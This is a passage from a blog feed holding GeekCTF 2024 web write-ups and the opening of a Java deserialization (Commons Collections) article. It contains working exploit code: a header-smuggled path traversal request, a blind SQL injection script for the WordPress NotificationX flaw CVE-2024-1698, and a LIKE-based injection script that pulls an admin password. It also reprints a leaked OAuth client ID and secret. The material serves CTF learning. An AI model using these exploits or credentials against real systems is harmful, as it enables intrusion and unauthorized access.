../../flag.png</code>,还是会导致一个目录穿越。这个的根源应该在于golang<code>path.Clean</code>的<a href="https://cs.opensource.google/go/go/+/refs/tags/go1.22.2:src/path/path.go;l=61">第四条</a>:如果HTTP报文中带<code>/</code>时,这个路径就相当于一个根目录,而根目录后的<code>..</code>会被自动清除。而如果不带<code>/</code>,<code>path.Clean</code>会认为这个是相对路径。同时,gofiber的<code>path.go</code>也完全匹配了<code>/*</code>,无论它是否为<code>/</code>开头。</p><p>所以拿到flag步骤是这样,先提交随便一个图片,拿到随机的值,然后发包进行走私</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/pics/2f41abe471e46c3b.jpg</span> <span class="hljs-meta">HTTP/1.1</span><br><span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>127.0.0.1:23333<br><span class="hljs-attribute">Accept</span><span class="hljs-punctuation">: </span>image/webp%0d%0aConnection:+alive%0d%0a%0d%0aGET+../../flag.png+HTTP/1.1<br><span class="hljs-attribute">Connection</span><span class="hljs-punctuation">: </span>close<br></code></pre></td></tr></table></figure><img src="/2024/04/15/2024geekctf/picbed.png" class=""><h2 id="Oauth(复现)"><a href="#Oauth(复现)" class="headerlink" title="Oauth(复现)"></a>Oauth(复现)</h2><p>最困惑的题目</p><p>打开站点,是一个普通的界面,其中OAuth Login会跳转到sjtu的认证页面,view note和note都会提示未登录,跳转到login,再跳转到oauth</p><img src="/2024/04/15/2024geekctf/oauthHome.png" class=""><p>html中存在sitemap.xml,里面可以找到一个code.php</p><img src="/2024/04/15/2024geekctf/oauthsitemap.png" class=""><p>访问它发现需要code参数,随便填一个有以下界面,此处log是粗体的,结合sitemap.xml,可以推断出还有一个/log路由</p><img src="/2024/04/15/2024geekctf/oauthcode.png" class=""><p>访问log路由,是一个管理员code的泄露,在sjtu jAccount网站可以看到是一个授权码,有效期为1分钟,认证模式为<code>使用授权码-authorization-code-过程的-oidc-认证模式</code></p><p>带着code访问code.php,登录成功,提示flag为SSO name</p><p>想要找到SSO name,必须要有access_token,想要access_token,必须要有client_id、client_secret,以及我们上面刚刚得到的code</p><p>接下来思路没了,开始复现wp</p><p>原来是一个key的泄露,泄露在<a href="https://github.com/young1881/SJTUer/blob/master/django/sjtuers/settings.py">SJTUer/django/sjtuers/settings.py at master · young1881/SJTUer (github.com)</a>处</p><p>拿到<code>JACCOUNT_CLIENT_ID = 'ZjpxY3dA6fpkp7o4kM0g'</code>,<code>JACCOUNT_CLIENT_SECRET = 'CE1FEABAD368510B161F8F0E582CBA6864EAF4137FC18079'</code></p><p>尝试获取access_token,可惜赛后已经无法复现了,大概报文如下,获取access_token</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs HTTP"><span class="hljs-keyword">POST</span> <span class="hljs-string">/oauth2/token</span> <span class="hljs-meta">HTTP/1.1</span><br><span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>jaccount.sjtu.edu.cn<br><span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/x-www-form-urlencoded<br><br><span class="language-apache"><span class="hljs-attribute">grant_type</span>=authorization_code&code=SplxlOBeZQQYbYS6WxSbIA&redirect_uri=http%<span class="hljs-number">3</span>A%<span class="hljs-number">2</span>F%<span class="hljs-number">2</span>F{hostname}%<span class="hljs-number">2</span>Fcode.php&client_id=ZjpxY3dA6fpkp7o4kM0g&client_secret=CE1FEABAD368510B161F8F0E582CBA6864EAF4137FC18079</span><br></code></pre></td></tr></table></figure><p>返回结果直接jwt解密即可,或继续拿access_token对<code>https://api.sjtu.edu.cn/v1/me/profile?access_token=</code>进行请求</p><p>官网wp还提到了一个非预期,即使用任意泄露client_id和client_secret组合串,都可以获取到access_token,很神奇。</p><h2 id="SafeBlog1(复现)"><a href="#SafeBlog1(复现)" class="headerlink" title="SafeBlog1(复现)"></a>SafeBlog1(复现)</h2><p>wp-scan扫一下,有一个NotificationX插件,插件存在CVE-2024-1698,一个sql盲注</p><p>需要搜索/抓包确认api的路径,不能直接用网上的payload。</p><p>因为对wordpress不熟悉,痛失一道题</p><p>直接给出官网payload</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">import</span> requests<br><span class="hljs-keyword">import</span> string<br> <br>delay = <span class="hljs-number">5</span><br>url = <span class="hljs-string">"http://chall.geekctf.geekcon.top:40523/index.php?rest_route=%2Fnotificationx%2Fv1%2Fanalytics"</span><br> <br>ans = <span class="hljs-string">""</span><br>table_name = <span class="hljs-string">""</span> <span class="hljs-comment">#fl6g</span><br>column_name = <span class="hljs-string">""</span> <span class="hljs-comment">#nam3</span><br>session = requests.Session()<br> <br><span class="hljs-keyword">for</span> idx <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">1</span>,<span class="hljs-number">1000</span>):<br> low = <span class="hljs-number">32</span><br> high = <span class="hljs-number">128</span><br> mid = (low+high)//<span class="hljs-number">2</span><br> <span class="hljs-keyword">while</span> low < high:<br> payload1 = <span class="hljs-string">f"clicks`=IF(ASCII(SUBSTRING((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),<span class="hljs-subst">{idx}</span>,1))<<span class="hljs-subst">{mid}</span>,SLEEP(<span class="hljs-subst">{delay}</span>),null)-- -"</span><br> payload2 = <span class="hljs-string">f"clicks`=IF(ASCII(SUBSTRING((select(group_concat(column_name))from(information_schema.columns)where(table_name=0x<span class="hljs-subst">{<span class="hljs-built_in">bytes</span>(table_name,<span class="hljs-string">'UTF-8'</span>).<span class="hljs-built_in">hex</span>()}</span>)),<span class="hljs-subst">{idx}</span>,1))<<span class="hljs-subst">{mid}</span>,SLEEP(<span class="hljs-subst">{delay}</span>),null)-- -"</span><br> payload3 = <span class="hljs-string">f"clicks`=IF(ASCII(SUBSTRING((select(group_concat(<span class="hljs-subst">{column_name}</span>))from(<span class="hljs-subst">{table_name}</span>)),<span class="hljs-subst">{idx}</span>,1))<<span class="hljs-subst">{mid}</span>,SLEEP(<span class="hljs-subst">{delay}</span>),null)-- -"</span><br> resp = session.post(url=url, data = {<br> <span class="hljs-string">"nx_id"</span>: <span class="hljs-number">1337</span>,<br> <span class="hljs-string">"type"</span>: payload1 <span class="hljs-comment"># switch payload</span><br> })<br> <span class="hljs-keyword">if</span> resp.elapsed.total_seconds() > delay:<br> high = mid<br> <span class="hljs-keyword">else</span>:<br> low = mid+<span class="hljs-number">1</span><br> mid=(low+high)//<span class="hljs-number">2</span><br> <span class="hljs-keyword">if</span> mid <= <span class="hljs-number">32</span> <span class="hljs-keyword">or</span> mid >= <span class="hljs-number">127</span>:<br> <span class="hljs-keyword">break</span><br> ans += <span class="hljs-built_in">chr</span>(mid-<span class="hljs-number">1</span>)<br> <span class="hljs-built_in">print</span>(ans)<br></code></pre></td></tr></table></figure><p>flag:<code>flag{W0rdpr355_plu61n5_4r3_vuln3r4bl3}</code></p><p>遇到题一定要有耐心看下去</p><h2 id="SafeBlog2(复现)"><a href="#SafeBlog2(复现)" class="headerlink" title="SafeBlog2(复现)"></a>SafeBlog2(复现)</h2><p>花时间最长的一道题,但还是没有做出来</p><a href="/2024/04/15/2024geekctf/SafeBlog2.zip" title="SafeBlog2.zip">SafeBlog2.zip</a><p>首先因为<code>NODE_NDEBUG=1</code>可以直接忽视<code>require('assert-plus')</code></p><p>接下来是/comment/like出有一个把所有参数都注入到查询语句的查询,这里有一个注入点</p><figure class="highlight pgsql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs pgsql">正常情况 ?post_id=<span class="hljs-number">1</span><br>db.<span class="hljs-keyword">all</span>(`<span class="hljs-keyword">SELECT</span> * <span class="hljs-keyword">FROM</span> comments <span class="hljs-keyword">WHERE</span> post_id = ?`, ["1"]);<br>?post_id=<span class="hljs-number">1</span>&inject=<span class="hljs-number">1</span><br>db.<span class="hljs-keyword">all</span>(`<span class="hljs-keyword">SELECT</span> * <span class="hljs-keyword">FROM</span> comments <span class="hljs-keyword">WHERE</span> post_id = ? <span class="hljs-keyword">AND</span> inject = ?`, ["1", "1"]);<br>?post_id=<span class="hljs-number">1</span>&%<span class="hljs-number">271</span>%<span class="hljs-number">27</span>+%<span class="hljs-number">3</span>D+%<span class="hljs-number">271</span>%<span class="hljs-number">27</span>+<span class="hljs-keyword">OR</span>+%<span class="hljs-number">271</span>%<span class="hljs-number">27</span>=<span class="hljs-number">1</span> 即post_id=<span class="hljs-number">1</span>& <span class="hljs-string">'1'</span> = <span class="hljs-string">'1'</span> <span class="hljs-keyword">OR</span> <span class="hljs-string">'1'</span> = <span class="hljs-number">1</span><br>db.<span class="hljs-keyword">all</span>(`<span class="hljs-keyword">SELECT</span> * <span class="hljs-keyword">FROM</span> comments <span class="hljs-keyword">WHERE</span> post_id = ? <span class="hljs-keyword">AND</span> <span class="hljs-string">'1'</span> = <span class="hljs-string">'1'</span> <span class="hljs-keyword">OR</span> <span class="hljs-string">'1'</span> = ?`, ["1", "1"]);<br></code></pre></td></tr></table></figure><p>注入方式:</p><figure class="highlight n1ql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs n1ql"><span class="hljs-keyword">SELECT</span> * <span class="hljs-keyword">FROM</span> comments <span class="hljs-keyword">WHERE</span> (<span class="hljs-keyword">SELECT</span> <span class="hljs-keyword">password</span> <span class="hljs-keyword">from</span> admins) <span class="hljs-keyword">LIKE</span> content <span class="hljs-keyword">AND</span> <span class="hljs-string">'1'</span> = ?<br></code></pre></td></tr></table></figure><p>先写一堆形如<code>____________a____...</code>、<code>_____b__________...</code>的评论,然后执行上述语句,查看哪个like增加</p><p>给出最后的payload:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">import</span> requests<br><span class="hljs-keyword">import</span> threading<br><span class="hljs-keyword">import</span> re<br><br>url = <span class="hljs-string">"http://c4b2vk76v4jj6gy2.instance.chall.geekctf.geekcon.top:18080"</span><br>hexchars = <span class="hljs-string">"0123456789abcdef"</span><br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">new_comment</span>(<span class="hljs-params">char</span>):<br> <span class="hljs-keyword">for</span> p <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">32</span>):<br> requests.get(url + <span class="hljs-string">"/comment/new"</span>, params={<br> <span class="hljs-string">"post_id"</span>: <span class="hljs-string">'1'</span>,<br> <span class="hljs-string">"name"</span>: <span class="hljs-string">"a"</span>,<br> <span class="hljs-string">"content"</span>: <span class="hljs-string">"_"</span> * p + char + <span class="hljs-string">"_"</span> * (<span class="hljs-number">31</span>-p)<br> }, allow_redirects=<span class="hljs-literal">False</span>)<br>thread=[]<br><br><span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> hexchars:<br> t = threading.Thread(target=new_comment, args=(c,))<br> thread.append(t)<br> t.start()<br><br><span class="hljs-keyword">for</span> t <span class="hljs-keyword">in</span> thread:<br> t.join()<br><br><span class="hljs-built_in">print</span>(<span class="hljs-string">"评论添加完成!"</span>)<br>times = <span class="hljs-number">0</span><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">find_flag</span>():<br> <span class="hljs-keyword">global</span> times<br> times += <span class="hljs-number">1</span><br> requests.get(url + <span class="hljs-string">"/comment/like/"</span>, params={<br> <span class="hljs-string">"post_id"</span>: <span class="hljs-string">'1'</span>,<br> <span class="hljs-string">"'1' = '1' AND (SELECT password from admins) LIKE content AND '1'"</span>: <span class="hljs-string">"1"</span><br> }, allow_redirects=<span class="hljs-literal">False</span>)<br><br> res = requests.get(url + <span class="hljs-string">"/post/1"</span>).text<br><br> ans = [<br> p.partition(<span class="hljs-string">"</li>"</span>)[<span class="hljs-number">0</span>][<span class="hljs-number">90</span>:][:<span class="hljs-number">32</span>]<br> <span class="hljs-keyword">for</span> p <span class="hljs-keyword">in</span> res.split(<span class="hljs-string">"<li>"</span>)<br> <span class="hljs-keyword">if</span> <span class="hljs-string">"{} Likes"</span>.<span class="hljs-built_in">format</span>(times) <span class="hljs-keyword">in</span> p<br> ]<br> <span class="hljs-built_in">sorted</span>(ans)<br> passwd = <span class="hljs-string">""</span><br> <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">32</span>):<br> <span class="hljs-keyword">for</span> j <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">32</span>):<br> <span class="hljs-keyword">if</span> ans[i][j] != <span class="hljs-string">"_"</span>:<br> passwd += ans[i][j]<br> <span class="hljs-keyword">break</span><br> <span class="hljs-built_in">print</span>(<span class="hljs-string">"密码为:"</span>,passwd)<br> res = requests.get(url + <span class="hljs-string">"/admin"</span>, params={<br> <span class="hljs-string">"username"</span>: <span class="hljs-string">"admin"</span>,<br> <span class="hljs-string">"password"</span>: passwd<br> })<br> <span class="hljs-keyword">return</span> res<br><span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:<br> <span class="hljs-built_in">print</span>(times)<br> res = find_flag()<br> <span class="hljs-keyword">if</span> <span class="hljs-string">"flag"</span> <span class="hljs-keyword">in</span> res.text:<br> <span class="hljs-built_in">print</span>(<span class="hljs-string">"flag:"</span>, re.findall(<span class="hljs-string">"flag{.*?}"</span>, res.text)[<span class="hljs-number">0</span>])<br> <span class="hljs-keyword">break</span><br></code></pre></td></tr></table></figure><img src="/2024/04/15/2024geekctf/safeblog2flag.png" class=""><p>flag: <code>flag{BL1nd_5ql_!NJeC71on_1S_PoS5ib13_W17h_0nLy_4_9ueRiE5}</code></p><p>md回头一看也不是特别难啊,主要是当时看了一眼就直接拿主机调nodejs了,没搭docker导致comment处无法注入,不过话说我拿win机cmd直接输入npm start为啥注入不了呢,好奇怪,下次一定记得搭docker(血的教训)</p><h2 id="ECommerce(复现)"><a href="#ECommerce(复现)" class="headerlink" title="ECommerce(复现)"></a>ECommerce(复现)</h2><p>没怎么看的一道题</p><p>打开网站是一个登录界面,登录抓个包看看,发现Graphql请求</p><figure class="highlight less"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs less"><span class="hljs-selector-tag">mutation</span> <span class="hljs-selector-tag">MyMutation</span> {<br> <span class="hljs-selector-tag">tokenCreate</span>(<span class="hljs-attribute">email</span>: <span class="hljs-string">"admin"</span>, <span class="hljs-attribute">password</span>: <span class="hljs-string">"123456"</span>) {<br> <span class="hljs-selector-tag">errors</span> {<br> <span class="hljs-selector-tag">code</span><br> <span class="hljs-selector-tag">message</span><br> }<br> <span class="hljs-selector-tag">token</span><br> }<br>}<br></code></pre></td></tr></table></figure><p>根据<a href="https://blog.csdn.net/wy_97/article/details/110522150">渗透测试之graphQL_graphql 漏洞</a>,通过IntrospectionQuery 可以查询到其中的全部信息</p><figure class="highlight wren"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs wren">{<span class="hljs-string">"query"</span>:<span class="hljs-string">"<span class="hljs-char escape_">\n</span> query IntrospectionQuery {<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> __schema {<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> queryType { name }<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> mutationType { name }<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> subscriptionType { name }<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> types {<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> ...FullType<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> }<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> directives {<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> name<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> description<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> locations<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> args {<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> ...InputValue<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> }<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> }<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> }<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> }<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span><span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> fragment FullType on __Type {<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> kind<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> name<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> description<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> fields(includeDeprecated: true) {<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> name<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> description<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> args {<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> ...InputValue<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> }<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> type {<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> ...TypeRef<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> }<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> isDeprecated<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> deprecationReason<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> }<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> inputFields {<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> ...InputValue<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> }<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> interfaces {<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> ...TypeRef<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> }<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> enumValues(includeDeprecated: true) {<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> name<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> description<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> isDeprecated<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> deprecationReason<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> }<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> possibleTypes {<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> ...TypeRef<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> }<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> }<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span><span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> fragment InputValue on __InputValue {<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> name<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> description<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> type { ...TypeRef }<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> defaultValue<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> }<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span><span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> fragment TypeRef on __Type {<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> kind<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> name<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> ofType {<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> kind<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> name<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> ofType {<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> kind<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> name<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> ofType {<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> kind<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> name<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> ofType {<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> kind<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> name<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> ofType {<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> kind<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> name<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> ofType {<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> kind<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> name<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> ofType {<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> kind<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> name<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> }<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> }<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> }<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> }<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> }<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> }<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> }<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> }<span class="hljs-char escape_">\r</span><span class="hljs-char escape_">\n</span> "</span>,<span class="hljs-string">"variables"</span>:<span class="hljs-literal">null</span>}<br></code></pre></td></tr></table></figure><p>使用<a href="https://github.com/graphql/graphiql/blob/main/examples/graphiql-cdn/index.html">graphiql/examples/graphiql-cdn/index.html at main · graphql/graphiql</a>打开,有了docs和api</p><img src="/2024/04/15/2024geekctf/graphqlDocs.png" class=""><img src="/2024/04/15/2024geekctf/graphqlApi.png" class=""><p>对其中shop字段name进行请求,得到<code>Saleor e-commerce</code></p><img src="/2024/04/15/2024geekctf/graphqlShop.png" class=""><p>GitHub直接能搜到<a href="https://github.com/saleor">Saleor Commerce</a>,这里引用官方wp的一张图来描述其架构</p><img src="/2024/04/15/2024geekctf/Saleor.webp" class=""><p>下载前端<a href="https://github.com/saleor/storefront">saleor/storefront</a>,将.env处填入后端地址,npm run dev直接跑起来</p><img src="/2024/04/15/2024geekctf/graphqlDev.png" class=""><p>随便找找发现about</p><img src="/2024/04/15/2024geekctf/graphqlAbout.png" class=""><p>根据hint1在之前的IntrospectionQuery 返回包可以找到flag1:<code>Channel-specific tax configuration.\n\nAdded in Saleor 3.9.🎉 Congratulations! You find flag part 1: ZmxhZ3s5ckBQSH 🎉</code></p><p>根据hint2,在之前的graphql中搜product,其中seoDescription有flag2:<code>🎉 Congratulations! You find flag part 2: ExX0BQIV8zWH🎉</code></p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs javascript">query <span class="hljs-title class_">MyQuery</span> {<br> <span class="hljs-title function_">product</span>(<span class="hljs-params">channel: <span class="hljs-string">"default-channel"</span>, slug: <span class="hljs-string">"the-dash-cushion"</span></span>) {<br> seoTitle<br> seoDescription<br> }<br>}<br></code></pre></td></tr></table></figure><img src="/2024/04/15/2024geekctf/graphqlflag2.png" class=""><p>接下来是网站存在源代码泄露,原网站src/pages/index.tsx中存在邮箱<code>[email protected]</code>,配合弱口令123456可以直接登录(神奇的思路,看官方wp原来是作者自己加的)</p><p>继续本地部署<a href="https://github.com/saleor/saleor-dashboard">saleor/saleor-dashboard</a>,仍然以david登录,在 customer 里抓包有hint3和hint4(可能是版本的问题,从这里开始我复现得都非常艰难)</p><img src="/2024/04/15/2024geekctf/graphqlHint34.png" class=""><p>根据hint3,在Order中找到订单,抓包发现isgift字段不存在,去掉isgift重新发包,拿到flag3:<code>🎉 Congratulations! You find flag part 3: AwNWU1X0VcL🎉</code></p><img src="/2024/04/15/2024geekctf/graphqlflag3.png" class=""><p>根据hint4,在 Translations - Chinese - Menu Items - GraphQL API 中找到flag4:<code>🎉 Congratulations! You find flag part 4: zNyWStoSU45fQ==🎉</code></p><img src="/2024/04/15/2024geekctf/graphqlflag4.png" class=""><p>base64解码,出来flag:<code>flag{9r@PHq1_@P!_3Xp05e5_E\/3rY+hIN9}</code></p><p>总算复现出来了,光是复现就花了我好长时间,一道很新颖的渗透题</p>]]></content>
<categories>
<category>WriteUp</category>
</categories>
<tags>
<tag>web</tag>
</tags>
</entry>
<entry>
<title>Java反序列化CC链</title>
<link href="/2024/02/23/2024CClearn/"/>
<url>/2024/02/23/2024CClearn/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>经典的Java反序列化漏洞</p><p>漏洞主要集中于Apache Commons Collections组件,其内部封装了许多方法用来方便开发人员使用。</p><ul><li><code>org.apache.commons.collections</code> – CommonsCollections自定义的一组公用的接口和工具类</li><li><code>org.apache.commons.collections.bag</code> – 实现Bag接口的一组类</li><li><code>org.apache.commons.collections.bidimap</code> – 实现BidiMap系列接口的一组类</li><li><code>org.apache.commons.collections.buffer</code> – 实现Buffer接口的一组类</li><li><code>org.apache.commons.collections.collection</code> –实现java.util.Collection接口的一组类</li><li><code>org.apache.commons.collections.comparators</code>– 实现java.util.Comparator接口的一组类</li><li><code>org.apache.commons.collections.functors</code> –Commons Collections自定义的一组功能类</li><li><code>org.apache.commons.collections.iterators</code> – 实现java.util.Iterator接口的一组类</li><li><code>org.apache.commons.collections.keyvalue</code> – 实现集合和键/值映射相关的一组类</li><li><code>org.apache.commons.collections.list</code> – 实现java.util.List接口的一组类</li><li><code>org.apache.commons.collections.map</code> – 实现Map系列接口的一组类</li><li><code>org.apache.commons.collections.set</code> – 实现Set系列接口的一组类</li></ul><p>环境搭建主要使用了jdk8u65,Commons Collections<=3.2.1,Commons Collections4.0</p><h2 id="CC链分析"><a href="#CC链分析" class="headerlink" title="CC链分析"></a>CC链分析</h2><h3 id="CC1"><a href="#CC1" class="headerlink" title="CC1"></a>CC1</h3><p>漏洞影响:Commons Collections<=3.2.1 jdk<8u71</p><p>首先需要关注的是Transformer接口,其逻辑如下,主要是用来接收一个对象将其进行转化</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span 